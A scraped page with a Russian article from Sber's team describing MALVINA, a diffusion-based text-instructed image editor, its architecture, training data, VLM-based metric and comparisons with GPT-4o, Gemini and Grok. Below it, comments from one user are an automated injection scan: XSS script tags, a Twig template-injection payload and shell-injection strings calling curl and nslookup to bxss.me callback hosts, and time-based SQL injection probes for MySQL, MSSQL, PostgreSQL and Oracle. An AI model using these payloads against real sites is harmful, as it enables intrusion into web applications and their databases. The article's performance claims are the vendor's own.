Русский
EnglishCryptocurrencies:
9512 /
Markets: 114689
Market Cap: $ 3 787 132 962 593 /
24h Vol: $ 200 392 171 953 /
BTC
Dominance: 58.653467328398%
Новости
Правит картинки силой слов: редактор изображений от Сбера с попиксельной точностью
Пример работы нашей модели. Только текстовые запросы — никаких масок!
Эпоха умного редактирования изображений наступила: ChatGPT, Gemini и Grok — крупнейшие игроки мировой AI-арены — один за другим представили инструментарий «умного фотошопа». Достаточно прикрепить картинку, попросить что-нибудь на ней изменить — и желание будет исполнено! Или не будет?
Проблема в том, что не каждый редактор изображений способен сохранять детали оригинала: изменяются люди, искажаются уникальные объекты, композиция, детали, ракурс и многое другое. Нередко хочется получить результат как от мастера фотошопа: чтобы менялись только требуемые участки, а остальное сохранялось неизменным. Например, удалить людей на заднем фоне фото из отпуска, оставив только безбрежное море за спиной. Вот бы можно было, валяясь на пляже, безо всяких сложностей отправить фотографию в удобный сервис на смартфоне, написать пару слов (что отредактировать), а результат просто репостнуть!
Наша команда загорелась этой задачей довольно давно — и сегодня, пройдя долгий путь проб и ошибок, мы с гордостью представляем вам проект с рабочим названием MALVINA (Multimodal Artificial Language VIsion Neural Assistant). Malvina уже стал частью сервиса GigaChat и доступна всем желающим! Более того: и по метрикам, и по мнению пользователей, наша модель обходит в редактировании изображений даже GPT-4o, Gemini и Grok!
Мы вас заинтриговали? Тогда приятного прочтения!
Мы расскажем вам:
как устроено редактирование изображений в современных моделях;
как ассистента для редактирования изображений собирали и обучали мы;
насколько наша модель эффективна по сравнению с аналогами.
И, конечно, поделимся множеством примеров работы.
А если не терпится попробовать нашего ассистента на деле, то добро пожаловать: [GigaChat телеграм-бот].
Задача редактирования
Решение любой задачи начинается с постановки. В контексте моделей машинного обучения редактирование изображений может выглядеть очень по-разному:
редактирование изображения на основе задаваемых пользователем ключевых точек или масок (inpaint-подходы);
перегенерирование с сохранением только структуры (например, ControlNet);
попиксельные изменения с сохранением всех не затрагиваемых участков;
«перерисовывание по мотивам»;
и ещё много других способов.
В нашем случае редактирование изображений — это сложные, осмысленные изменения в структуре, стиле, семантике изображения, задаваемые текстовым промптом пользователя, при максимальном попиксельном сохранении оригинала. Нас интересует только этот, самый захватывающий способ — инструкции в естественных формулировках. Например, вот так:
Запрос пользователя: «на переднем плане, справа от стола, нарисуй фарфоровую миниатюрную куклу в платье в стиле 18 века»
Ничего больше. Никаких точек, масок, карт глубин или зон интереса — только оригинальное изображение и запрос на естественном языке.
Задача на самом деле очень сложная. Чтобы справляться с произвольными запросами редактирования, модель должна обладать глубокими познаниями о самых разных аспектах нашего мира, и уметь этими знаниями пользоваться.
Но речь, конечно, не только о добавлении объектов. От моделей-редакторов ожидается выполнение:
семантических изменений: добавление, удаление, замена объекта или фона, смена выражения лица;
стилистических изменений: замена цвета или текстуры объекта, общая смена стиля;
структурных изменений: перемещение объекта, смена размера и формы, замена действия или позы, смена ракурса.
Пример результатов работы подобной модели: исходники слева, результаты справа, пользовательские запросы сверху. Модель: InstructPix2Pix
Ещё раз обратим внимание, что нас интересует именно pixel-perfect редактирование:
Слева направо: оригинал, мы (Malvina), GPT-4o.
GPT, хоть и нарисовал красиво, полностью изменил и крокодила, и мир вокруг.
GPT, хоть и нарисовал красиво, полностью изменил и крокодила, и мир вокруг.
Ремарка: здесь и далее мы называем такой способ редактирования попиксельным (pixel-perfect) на уровне визуального восприятия. Фактически же это не совсем так. Диффузионная модель по своей шумовой природе всё-таки искажает значения всех пикселей изображения, но на совершенно незначительные величины. Мы успешно боремся с этим явлением, и оно в большинстве случаев не заметно человеческому глазу.
Теперь, когда мы понимаем общую постановку задачи, давайте посмотрим, как с ней справляются лучшие современные модели.
Как гиганты картинки редактируют
Существует множество способов построения пайплайна редактирования изображений. В центре внимания большинства успешных решений — использование мощных предварительно обученных моделей, обладающих обобщёнными знаниями о визуальном мире. Эти модели могут быть как специализированными генеративными (например, диффузионные модели вроде Stable Diffusion), так и универсальными мультимодальными системами с авторегрессионной архитектурой (например, GPT-4o, Gemini 2, Grok).
Редактирующие возможности могут достигаться с помощью:
дообучения или адаптации существующих весов (возможно, с частичной заморозкой);
интеграции дополнительных модулей (например, контроллеров, адаптеров или визуальных промптов);
либо — в случае мультимодальных моделей — через обучение на специально подобранных парах «инструкция — результат редактирования» в авторегрессионной парадигме.
В общем, исследователи пытаются любыми способами воспользоваться «знаниями» базовой модели для решения задачи редактирования.
Что касается метрик, то в оценке качества редактирования полная свобода для творчества: можно придумывать свои метрики, можно обучать reward-модель, привлекать людей (SBS).
Всё чаще применяется дообучение моделей с учётом предпочтений человека (DPO, RLHF), что позволяет улучшать субъективное качество и управляемость редактирования.
Мы, по многим причинам (в том числе из-за нацеленности на попиксельное редактирование), выбрали для себя подход с использованием диффузионных моделей. Но существует множество альтернативных подходов. Один из самых многообещающих и красивых — авторегрессия (AR).
Заметим, что здесь довольно сложно провести чёткую границу между диффузией и авторегрессией: AR тоже может использовать диффузионные модели, например при детокенизации или для финального улучшения детализации. И эмбеддинги для диффузии могут генерироваться авторегрессионно. Поэтому в этой статье мы условно разделяем подходы в зависимости от того, как выполняется основная (вычислительно) часть генерации изображения.
Давайте разберёмся, чем отличается диффузионный подход от авторегрессионного, и почему мы, в отличие от OpenAI, Google и X, взяли за основу первый (хотя активно экспериментируем и с AR).
Диффузия или авторегрессия?
Классическая авторегрессия на трансформере смотрит на изображение как на последовательность элементов: пикселей, патчей или токенов (например, полученных из VQ-VAE). Модель предсказывает их по одному — так же, как LLM предсказывают текстовые токены. Это позволяет ей «рассуждать» на высоком уровне: AR-модели легко добавляют в сцену новые предметы, перестраивают композицию, комбинируют стили (например, DALL-E, Parti).
Обратная сторона такого подхода — хрупкость деталей. Любая небольшая ошибка в раннем токене растёт лавинообразно и становится сильно заметной на конечном изображении. Поэтому методы редактирования изображений, основанные на AR, зачастую «рисуют по мотивам», а не редактируют. Впрочем, во многих других случаях это едва заметно для пользователя.
Диффузия идёт от обратного: она не достраивает картинку, а постепенно очищает её от шума за 10-100 последовательных шагов.
Существуют даже дистиллированные варианты, способные делать это в 1-4 шага (например, FLUX.1-dev).
Главное достоинство диффузии в том, что все пиксели присутствуют на каждом шаге, поэтому модель видит целое изображение и с лёгкостью может внести локальное изменение, не затронув остальное. Многие проблемы AR-подходов диффузии просто не знакомы — хотя глобальные преобразования ей, действительно, даются значительно тяжелее.
Немного спекуляции
Теперь, когда мы разобрались в разнице подходов, давайте попробуем предположить, что находится под капотом у самых мощных на данный момент методов, позволяющих (в той или иной мере) редактировать изображения.
GPT-4o
Нельзя знать наверняка, но, судя по публичным демонстрациям, GPT-4o от OpenAI — это гибрид: VAR (Visual Autoregressive Modeling), который генерирует изображение по уровням разрешения, пока не достигнет целевого размера, плюс лёгкая пост-диффузия для сглаживания артефактов. Предположение основано на том, как GPT-4o реагирует на запрос редактирования:
сначала нам показывают размытое изображение;
затем, на последнем шаге, изображение генерируется построчно и заметно медленно;
после завершения генерации изображение «моргает», прибавляя в деталях.
Подобный гибридный подход хорошо работает для сложных и глобальных преобразований (поэтому так «выстрелил» Ghibli-стиль), но пока не даёт гарантированной попиксельной точности.
Gemini 2.0 Flash Experimental
Подробностей немного. Однако по описанию и работе очевидно, что также применяется авторегрессия при помощи единой мультимодальной модели.
Grok
Модель компании X использует Aurora — чисто авторегрессионную Mixture-of-Experts модель.
Наше решение
Мы же пошли вглубь диффузионного стека, усиленного лучшими достижениями в VLM — и получили Malvina, которая правит кадр так же аккуратно, как ретушёр-профессионал, а не рисуя «картинку по мотивам».
Как мы обучались
Итак, мы объяснили, почему остановились на диффузионном подходе. Давайте вкратце посвятим вас в архитектуру и процесс обучения Malvina.
Архитектура
«Мозг» нашего пайплайна — VLM-модель.
Есть несколько устоявшихся аббревиатур для мультимодальных и визуальных крупных моделей: VLM, LVM, VLLM (Visual Large Language Model), MLLM (Multimodal Large Language Model). Используемые нами далее модели технически являются MLLM, однако мы пользуемся только визуальной и текстовой модальностями, поэтому здесь и далее будем называть их VLM.
Откуда взялась VLM, если мы говорили, что используем диффузионный подход? Дело в том, что подаваемые на вход диффузии картинку и текстовый запрос нужно как-то связать. Ранее для этого чаще всего использовали текстовые энкодеры (как правило, из CLIP). Однако исследователи заметили, что таким энкодерам недостаёт мощности, предложив вместо них использовать VLM-модели (см. SmartEdit). Более того, сильный ризонинг и глубокие знания таких моделей можно попытаться извлечь и использовать в задаче редактирования. Без этих характеристик решение поставленной задачи не было бы возможным.
Таким образом, вот общая архитектура Malvina:
Концептуальная схема архитектуры Malvina. Мы всё ещё много экспериментируем с подробностями, но общий пайплайн налажен.
Мы пробовали множество вариантов диффузионной базовой модели: Stable Diffusion, Kandinsky, FLUX… Пока мы остановились на сильном решении с 6 млрд параметров, но продолжаем пробовать — такой простор для исследований достоин отдельной статьи.
На роль VLM же отлично подошёл GigaChat Vision — наше собственное, проприетарное решение.
Таким образом, на схеме мы видим следующий пайплайн:
оригинальное изображение и текстовый запрос на редактирование подаются в GigaChat Vision;
GigaChat Vision извлекает необходимые эмбеддинги, также формируя экспрессивную инструкцию (см. MGIE);
полученные эмбеддинги и экспрессивная инструкция поступают в блок Mixture-of Experts — такое решение хорошо адаптируется под различные задачи редактирования;
оригинальное изображение подаётся на вход диффузии, процесс обуславливается выходными данными MoE-адаптера.
Давайте разберём подробнее каждый шаг. Существует два основных способа получения текстового условия из VLM:
Авторегрессионная генерация дополнительных IMG-токенов, которые передают инструкцию диффузионной модели. В этом случае словарь VLM расширяется небольшим количеством дополнительных токенов — следовательно, размораживаются слой эмбеддингов и голова LLM. Далее модель обучается предсказывать IMG-токены в ответ на запрос пользователя.
Использование обучаемых токенов без разморозки VLM. Здесь на вход модели подаются N обучаемых токенов, которые в процессе прохождения через сеть обогащаются контекстом запроса и референс-изображения. Количество токенов N ограничено максимальной ёмкостью текстового энкодера диффузии. Этот подход менее инвазивен: параметры VLM остаются неизменными, а авторегрессионная генерация отсутствует.
Выбор метода извлечения текстового условия напрямую влияет на архитектуру используемого коннектора:
При авторегрессионной генерации обычно используется Q-Former, где количество queries соответствует количеству токенов текстового энкодера диффузии. А сгенерированные токены передают информацию в queries через блоки cross attention.
При использовании обучаемых токенов применяется стек трансформер-энкодеров, через который проходят токены, обогащённые контекстом.
В обоих случаях задача коннектора — донести сформированный VLM-запрос до этапа диффузии. Наши эксперименты показали, что вне зависимости от выбранного варианта коннектора, добавление в FFN-слои DeepSeek-подобного варианта Mixture-of-Experts значительно расширяет возможности модели в задачах редактирования изображений. Мы предполагаем, что это связано со специализацией отдельных экспертов под различные типы операций редактирования, что позволяет сети эффективнее адаптироваться к разнообразным пользовательским запросам.
Выходы из коннектора передаются в диффузию в виде текстового условия. Вторым условием выступает оригинальное изображение пользователя, благодаря которому модель может сохранять попиксельные детали при генерации.
Добавить это условие в диффузию можно следующими способами:
Универсальный вариант — конкатенация латентов шума и оригинальной картинки с последующей подачей в расширенный проектор-слой диффузии. Этот способ подходит как для U-Net-подобных архитектур, так и для DiT-образных моделей.
Специфичный для трансформеров вариант — латенты шума и оригинальной картинки проецируются сначала в две последовательности токенов, после чего токены объединяются в одну последовательность, которая проходит через диффузионный трансформер. Перед декодером лишние токены исходного изображения отбрасываются, и модель возвращает готовое изображение. Этот подход более органично подходит для попиксельного редактирования, так как на каждом слое диффузии доступны токены исходной картинки.
Сама модель диффузии может остаться неизменной, либо же можно использовать вариант на основе ControlNet.
Данные
Каждый день мы находим новые источники данных, но вот основные на текущий момент:
Открытые наборы данных — очевидное решение. Многие исследователи этой задачи выкладывают в открытый доступ наборы данных по редактированию: UltraEdit, Seed-PS, и т. д. Мы тщательно курируем их, очищаем их, фильтруем — и кладём в нашу общую корзинку данных.
Данные из смежных задач. Например, из многих видеонаборов, или данных для обучения роботов, или наборов для детекции, сегментации, ризонинга… Мы пишем сложные скрипты для извлечения нужных нам пар картинок, дополнительно обрабатывая и размечая их.
Прямой ручной сбор данных. Сложные и высококачественные примеры бывает полезно отдать на автоматизированный или ручной сбор людьми: можно пользоваться уже имеющимися инструментами inpainting’а, использовать графический редактор, или вообще взять фотокамеру со штативом и снимать сцены в виде «до-после». Тут опять простор для воображения.
Malvina Self-data. За множество экспериментов мы по метрикам и вручную отбираем лучшие результаты работы нашей модели, и можем использовать их в дальнейших экспериментах.
При этом мы старательно отбираем данные для каждой задачи редактирования наилучшими для неё способами:
Для добавления и удаления объектов мы используем видео и inpaint-данные. Добавление и удаление взаимно обратимы, то есть одну пару картинок можно использовать для обеих операций. Хотя в случае с добавлением требуется более точная инструкция: получаем её либо по координатам и названию объекта, либо напрямую VLM-моделью.
Для замены объектов мы делаем текстовый inpaint через диффузию.
Для стилизации изображений и смены сезонов используем диффузию с ControlNet.
Для замены одежды — специализированные модели виртуальной примерочной.
Чтобы люди выглядели реалистично, вырезаем их силуэты из изображений и накладываем на фоны с гармонизацией.
Данные для многих важных операций мы синтезируем программным путём (размытие, сепия, зашумление, смена яркости, смена контрастности). Более того, подобные примеры можно инвертировать для обучения более сложным операциям: колоризация, восстановление размытия, шумоподавление…
В результате, в последней ревизии датасета у нас набралось более 1,5 млн примеров.
Метрики
Вы можете сказать: «Пусть стандартные метрики оценки близости изображений (PSNR, SSIM) контролируют низкоуровневое качество, а нейросетевые (LPIPS, CLIP-score, DINO-score) — смысловую корректность. Должно же быть этого достаточно?» Давайте посмотрим:
Да, руки здесь не очень, но это роли не играет — не обращаем внимания :)
Редактирование выполнено ужасно:
вокруг тела остался «ореол» из оригинальной картинки;
участки между локтями и туловищем вообще не изменились;
горную местность будто отрезали детскими ножницами и приклеили размытую картинку озера (с совершенно другим масштабом и ракурсом).
При этом вышеперечисленные метрики показывают высокое качество редактирования. Конечно, даже модели вроде CLIP не могут во всей полноте оценить эстетическую ценность, соблюдение логики и физических законов. Но вспомним: мы уже сталкивались с ограниченностью CLIP, и замена его на VLM значительно улучшила ситуацию. Так почему бы и здесь не воспользоваться мощью какой-нибудь VLM-модели, слегка дообученной под оценку качества?
Мы настроили мощную VLM так: на вход поступает исходное изображение, текстовый запрос редактирования и результирующее изображение, и модель должна оценить качество редактирования по двум критериям (от 1 до 5 каждый): эстетичность и следование инструкции. Среднее геометрическое этих двух оценок мы назвали VLM-score.
Эта метрика значительно точнее и полнее оценивает качество редактирования, но работа VLM обходится довольно дорого по времени и вычислительным ресурсам. Поэтому для замера между чекпоинтами и валидации во время обучения мы используем грубую аппроксимацию VLM-score. Эта аппроксимация представляет собой агрегацию большого набора признаков, которые можно условно разделить на три категории:
признаки типа задачи редактирования;
высокоуровневые признаки, основанные на моделях оценки качества генерации (PickScore, HPSv2);
некоторые признаки на уровне пикселей изображения.
Поверх мы обучили Random Forest. Подобный инжиниринг позволил довольно простой модели давать оценки, сопоставимые по точности с VLM-score.
Мы вкратце рассказали про нашу модель. Теперь покажем, какова Malvina на деле, и сравним её с конкурентами.
Абсолютная мощь
Сначала сравним Malvina с прямыми конкурентами по VLM-score:
Malvina показывает великолепный результат: на голову выше open-source конкурентов, значительно лучше Grok и немного сильнее Gemini.
С GPT-4o здесь мы не сравниваем: это потрясающая, невероятно мощная модель, с очень высокой исполнительностью и качеством, но с ней очень сложно сравниться напрямую из-за отсутствия сохранения попиксельной идентичности в значительной части случаев.
Другими словами, Malvina и GPT-4o просто решают разные задачи. Даже при SBS-сравнении (Side-by-Side) результат целиком бы зависел от того, как мы сформулируем задание асессорам и как они его интерпретируют.
Так мы поняли, что наш основной конкурент это Gemini от Google. Но как бы хорошо ни работал VLM-score, он всё же довольно плохо улавливает мелкие погрешности, особенно искажения лиц. Поэтому целиком доверять в этой задаче можно только SBS-сравнению с участием людей. Мы собрали примерно 1100 высококачественных профессиональных фотографий, а запросы на редактирование написали вручную.
Результаты SBS
По мнению реальных пользователей мы значительно обошли Gemini по качеству! Напомним, что в SBS-сравнении изображения произвольно перемешиваются и выбор происходит «вслепую».
Рассмотрим оценки по категориям:
Gemini чуть-чуть обходит Malvina лишь в двух операциях: добавление объекта (очень сложная задача) и раскрашивание фотографии (очень неоднозначная задача, оценка асессора зависит от личных предпочтений).
Рассмотрим некоторые примеры из этого сравнения (сейчас мы их упорядочили и пометили для вашего удобства, асессоры же оценивали без меток и с ответами в произвольном порядке).
Во-первых, наш ассистент отлично справляется с реставрацией объектов, порой даже со сложными повреждениями:
исправь, чтобы телефон стал как новый
отреставрируешь дедушкину машину на фото?
Во-вторых, Malvina способна на сложнейшие задачи удаления:
Уберите мужчину с изображения, оставив только женщину
удали бутыль!
убери человека!
удали таксофон сзади, пожалуйста!
убери шапку
В том числе, удаление текста:
убери надпись
убери все буквы и цифры с дощечек
Также модель отлично работает с фонами, удаляет и заменяет их:
сделай его без фона
пусть фон станет городским
Да и не только фон! Наш ассистент силён в замене любых, даже довольно сложных участков:
вместо мебели слева поставь рояль
пусть на лугу пасутся коровы, а в небо добавь радугу
вместо статуи сделай вазу с цветами
Переделай цвет поля на бежевый, как у колосящейся пшеницы
Ассистент также способен на стилизацию, зачастую очень достойную:
В стиле Сальвадора Дали
переделай в стиле стимпанк
сделай это в виде рисунка, а не фотографии
Сюда же можно отнести реставрацию и колоризацию фотографии:
добавь в эту картинку цвета
сделай эту фотографию цветной
Malvina умеет работать и с людьми: менять эмоции, аксессуары (очки, бороды), заниматься бьюти-блогингом (макияж, украшения), и многое другое:
пускай она улыбается
она должна быть без очков
Ещё вариант, только пусть улыбается
нанеси ей макияж
убери весь макияж
это должна быть женщина
она должна быть в более скромной одежде
солнцезащитные очки
накачай ему руки
Вы, конечно, можете подумать, что мы просто отобрали лучшие примеры из SBS, а остальное никому не покажем — но нет! Чтобы вы могли самостоятельно сравнить и оценить генерации, мы выложили все данные в открытый доступ! Более 1100 коллажей, некоторые из которых мы показали вам выше, доступны здесь.
Давайте теперь подробно сравним Malvina со всеми ключевыми конкурентами, а не только с Gemini:
Malvina полностью справилась с заданием.
Gemini решил просто написать инструкцию поверх фото.
Grok убрал столики лишь частично.
GPT-4o не только не убрал все столики, но и полностью перерисовал всё изображение: другая девушка, сумка, камера, шляпка, фон и ракурс.
Malvina корректно и лаконично вписала реалистичный замок.
Gemini нарисовал нереалистично упрощённый, некорректно освещённый замок.
Grok изобразил красивый замок — но не там, где требовалось.
GPT-4o получил замечательный замок, но опять перерисовал всё изображение: изменил цвет волос девушки, цвет её кофты, позицию, ракурс, скалу под ней — и даже облака в небе.
Malvina полностью удалила с пляжа и людей, и их принадлежности, сохранив структуру пляжа неизменной.
Gemini перерисовал нижнюю часть картинки: новый пляж, нет травы.
Grok хорошо постарался, но всё равно не смог полностью очистить пляж.
GPT-4o опять изменил всё фото.
Malvina справилась без проблем.
Gemini тоже хорошо справился, но не без проблем: эмблема на кофте совершенно другая.
Grok переделал вообще всё.
GPT-4o тоже изменил слишком многое, включая лицо, куртку, эмблему.
Malvina полностью выполнила инструкцию.
Gemini постарался сгладить кожу, но не особо преуспел.
Grok вообще ничего не изменил.
GPT-4o нарисовал совершенно другую женщину.
Malvina справилась с задачей.
Gemini убрал книгу из рук.
Grok лишь немного исказил лицо и мусор.
GPT-4o изменил всё: и полы, и девушку, и руку с книгой, и белый плед.
Malvina отлично справилась, сохранив текстуру двери и тени на ней.
Gemini вместе с граффити удалил замок и ручку, также исказив тени.
Grok не справился.
GPT-4o опять всё перерисовал: новый рельеф двери, теней нет, стена другая, справа висит какая-то картина.
Malvina отлично справилась, удалила только текст.
Gemini удалил и символ, хотя просили только текст.
Grok вообще ещё и текстуру поменял.
GPT-4o как Gemini.
Malvina очень естественно разукрасила фото.
Gemini постарался, но не докрасил крыши на фоне, и изменил надпись на вывеске слева.
Grok почти ничего не сделал.
GPT-4o колоризовал слишком однотонно, при этом опять всё изменив.
Malvina убрала провода.
Gemini наоборот сделал провода потолще.
Grok почти идеально справился, хотя небольшой обрывок слева остался.
GPT-4o снова изменил всю картинку.
Malvina справилась с заданием.
Gemini не справился.
Grok справился с заданием.
GPT-4o всё максимально переделал.
Malvina корректно сменила текстуру.
Gemini также справился.
Grok тоже сумел выполнить задачу.
GPT-4o даже на такой простой картинке всё переделал: и тарелки, и полотенце, и мандарин.
Malvina хорошо справилась.
Gemini решил заменить трещины на свои.
Grok тоже отлично справился.
GPT-4o перерисовала, хотя здесь получилось очень даже хорошо.
Malvina выполнила задачу.
Gemini тоже корректно надел джинсы, даже более классические.
Grok ничего не сделал.
GPT-4o всё изменил.
Malvina достаточно хорошо справилась, но изменила радиатор.
Gemini также хорош, хоть и оставил радиатор искорёженным.
Grok очень хорош, хотя есть огрехи: другой радиатор, красная фара, стена сзади осветлилась.
GPT-4o опять нарисовал красиво, но «по мотивам».
Итого:
Malvina очень исполнительна, выполняет широкий спектр сложных задач, меняя строго только требуемые участки. А самое главное — удобный и свободный доступ, безлимитные запросы!
Gemini весьма неплох, хотя иногда не справляется с запросами и частенько переделывает лишнее. Более того, на момент написания статьи Google убрал доступ к функции редактирования — теперь достучаться можно только через API, что неудобно. Кстати, количество запросов ограничено, и потребуется VPN.
Grok зачастую вообще ничего не делает, хотя бывает силён в единичных случаях. Также нужен VPN для доступа.
GPT-4o генерирует великолепные, эстетичные изображения, но решает совершенно другую задачу. Не умеет попиксельно редактировать, умеет только «рисовать по мотивам». Опять же, без VPN недоступен, очень маленькие лимиты.
К вашим услугам
Таким образом, мы с гордостью представляем вам Malvina — сильную pixel-perfect модель-редактор изображений.
Для нас главное — оставить неизменным всё, что пользователь не просил трогать. Поэтому мы и выбрали опирающийся на диффузию подход. Наш ассистент максимально общего назначения и не ограничен никакими рамками, но мы очень хотим, чтобы вы, например, могли:
убрать людей с заднего фона на отпускной фотографии;
нанести макияж, примерить новую причёску или цвет волос;
убрать случайно попавшую в кадр кошку на фотографии для объявления о продаже квартиры;
восстановить и сделать цветной старую фотографию;
реставрировать потрёпаные вещи, потрескавшиеся стены, грязную майку, дырявые носки или даже проржавевший автомобиль;
очистить красивое фото города от проводов, а комнату — от мусора;
узнать, как бы выглядела любимая чашка, будь она деревянной, а мраморная статуя — бронзовой;
да и просто подшутить над друзьями!
Для всего этого важно сохранить идентичность людей и объектов, «душу» снимка, не делая его пластиковым и ненастоящим.
Ну и напоследок, ещё несколько примеров работы нашей модели:
GPT-4o, кстати, с подобным удалением справляется не каждый раз:
Malvina не только фотографии редактировать умеет:
Страшная тайна
Под конец статьи мы хотим вам признаться, что скрывали страшную тайну. Помните результаты сравнения с нашим главным конкурентом — Gemini? Так вот, на самом деле этот график выглядит так:
Иногда, по мнению асессоров, обе модели справлялись хорошо. Но важно обратить внимание на красный столбец. Да, где-то в трети случаев асессоры посчитали, что обе модели не справились с заданием. Это глобальная проблема: вы, наверное, и сами замечали, что иногда генеративные модели нужно просить несколько раз подряд, чтобы получить что-то хорошее. На это есть следующие причины:
Генеративные модели носят статистический, вероятностный характер: на одинаковый запрос ответ каждый раз будет отличаться (если, конечно, не зафиксировать seed). Это глобальная проблема любого современного AI, текущий потолок развития технологий.
Задача произвольного редактирования изображения очень сложна. Для согласованного, полного, корректного выполнения запросов любого вида и сложности модель должна обладать очень глубокой и широкой «моделью мира», при этом умея полноценно и корректно этими знаниями пользоваться. Этим не может похвастаться ни одна из сильнейших моделей в мире. И, наверное, идеальным редактором изображений будет только AGI.
Особенно сильно проблема проявляется именно в задаче попиксельного редактирования. Если в авторегрессионной «перерисовке по мотивам» у модели есть простор для творчества и определённая степень свободы, то в pixel-perfect случае перед нейросетью стоит намного более узкая задача: корректно и эстетично изменить только требуемую часть, сохранив всё остальное абсолютно неизменным.
Эти проблемы носят глобальный характер. На сегодня нам неизвестна модель или пайплайн с метриками выше наших, так что мы можем смело констатировать, что Malvina — передний край науки в области попиксельного редактирования.
Заходите и пробуйте прямо сейчас: [GigaChat телеграм-бот].
Главное правило — пробовать и экспериментировать. Если первый результат вас не устроил, пожалуйста, попробуйте ещё несколько раз, может быть с немного другими запросами — и всё обязательно получится!
Планы на будущее
Задача редактирования изображений находится «на острие науки». Это добавляет множество проблем и неопределённостей — но в то же время даёт безграничные возможности для будущего развития. Конечно, мы собираемся ещё долго совершенствовать и развивать Malvina:
продолжаем ежедневную работу по улучшению качества уже существующих операций;
стремимся дополнять модель новыми востребованными навыками: так, надеемся до конца года интегрировать поддержку добавления русских и английских текстов на изображения;
работаем над возможностью подачи множества изображений на вход: для референс-объектов, материалов, стилей и так далее.
Благодарности, полезные ссылки
Спасибо, что дочитали до конца!
Над Malvina трудилось огромное количество людей — и работа каждого была так важна, что без неё проект просто не случился бы.
Поэтому мы хотим сказать огромное спасибо:
командам GigaChat, SberDevices, AIRI, SberAI;
руководству, коллегам и партнёрам: @oulenspiegel @hukenovs @elejke @kuznetsoff87 @aibrain (и не только — отметили тех, кто есть на Хабре).
Ну и, конечно, мы — команда The Layer. Если статья понравилась — да и в целом вам интересны качественные разборы научных работ, без воды, флуда и рекламы, — то подписывайтесь на наш Телеграм-канал!
Если интересна история задачи редактирования изображений в целом, то рекомендуем первую работу из нашего цикла статей про эту задачу: «Как мы коня в пальто одевали. Neural Image Editing: Часть 1 — от инпейнтинга до DDIM Inversion». В ней мы рассмотрели тривиальные попытки редактирования (фиксирование random seed, inpainting, зашумление-расшумление), разобрали методы DDIM Inversion и Null-Text Inversion. Расписали всё подробно и с красивыми картинками, но в то же время максимально понятно, без сложных формул.
-
09.10.25 08:09
pHqghUme
can I ask you a question please?
-
09.10.25 08:09
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:09
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:09
pHqghUme
e
-
09.10.25 08:11
pHqghUme
e
-
09.10.25 08:11
pHqghUme
e
-
09.10.25 08:11
pHqghUme
e
-
09.10.25 08:11
pHqghUme
can I ask you a question please?
-
09.10.25 08:12
pHqghUme
can I ask you a question please?
-
09.10.25 08:12
pHqghUme
can I ask you a question please?
-
09.10.25 08:12
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:13
pHqghUme
can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>
-
09.10.25 08:13
pHqghUme
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}
-
09.10.25 08:13
pHqghUme
'"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>
-
09.10.25 08:13
pHqghUme
can I ask you a question please?9425407
-
09.10.25 08:13
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:14
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:16
pHqghUme
e
-
09.10.25 08:17
pHqghUme
e
-
09.10.25 08:17
pHqghUme
e
-
09.10.25 08:17
pHqghUme
"+response.write(9043995*9352716)+"
-
09.10.25 08:17
pHqghUme
can I ask you a question please?
-
09.10.25 08:17
pHqghUme
can I ask you a question please?
-
09.10.25 08:17
pHqghUme
can I ask you a question please?
-
09.10.25 08:18
pHqghUme
can I ask you a question please?
-
09.10.25 08:18
pHqghUme
$(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)
-
09.10.25 08:18
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:18
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:18
pHqghUme
|(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)
-
09.10.25 08:18
pHqghUme
|(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)
-
09.10.25 08:18
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:19
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:20
pHqghUme
e
-
09.10.25 08:20
pHqghUme
e
-
09.10.25 08:21
pHqghUme
e
-
09.10.25 08:21
pHqghUme
e
-
09.10.25 08:21
pHqghUme
can I ask you a question please?
-
09.10.25 08:22
pHqghUme
can I ask you a question please?
-
09.10.25 08:22
pHqghUme
can I ask you a question please?
-
09.10.25 08:22
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:22
pHqghUme
if(now()=sysdate(),sleep(15),0)
-
09.10.25 08:22
pHqghUme
can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
-
09.10.25 08:23
pHqghUme
can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
-
09.10.25 08:23
pHqghUme
can I ask you a question please?
-
09.10.25 08:23
pHqghUme
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-
09.10.25 08:24
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:24
pHqghUme
e
-
09.10.25 08:24
pHqghUme
can I ask you a question please?-1 waitfor delay '0:0:15' --
-
09.10.25 08:25
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:25
pHqghUme
e
-
09.10.25 08:25
pHqghUme
e
-
09.10.25 08:25
pHqghUme
e
-
09.10.25 08:25
pHqghUme
can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --
-
09.10.25 08:26
pHqghUme
can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--
-
09.10.25 08:26
pHqghUme
e
-
09.10.25 08:27
pHqghUme
can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--
-
09.10.25 08:27
pHqghUme
can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--
-
09.10.25 08:28
pHqghUme
can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
-
09.10.25 08:28
pHqghUme
can I ask you a question please?'"
-
09.10.25 08:28
pHqghUme
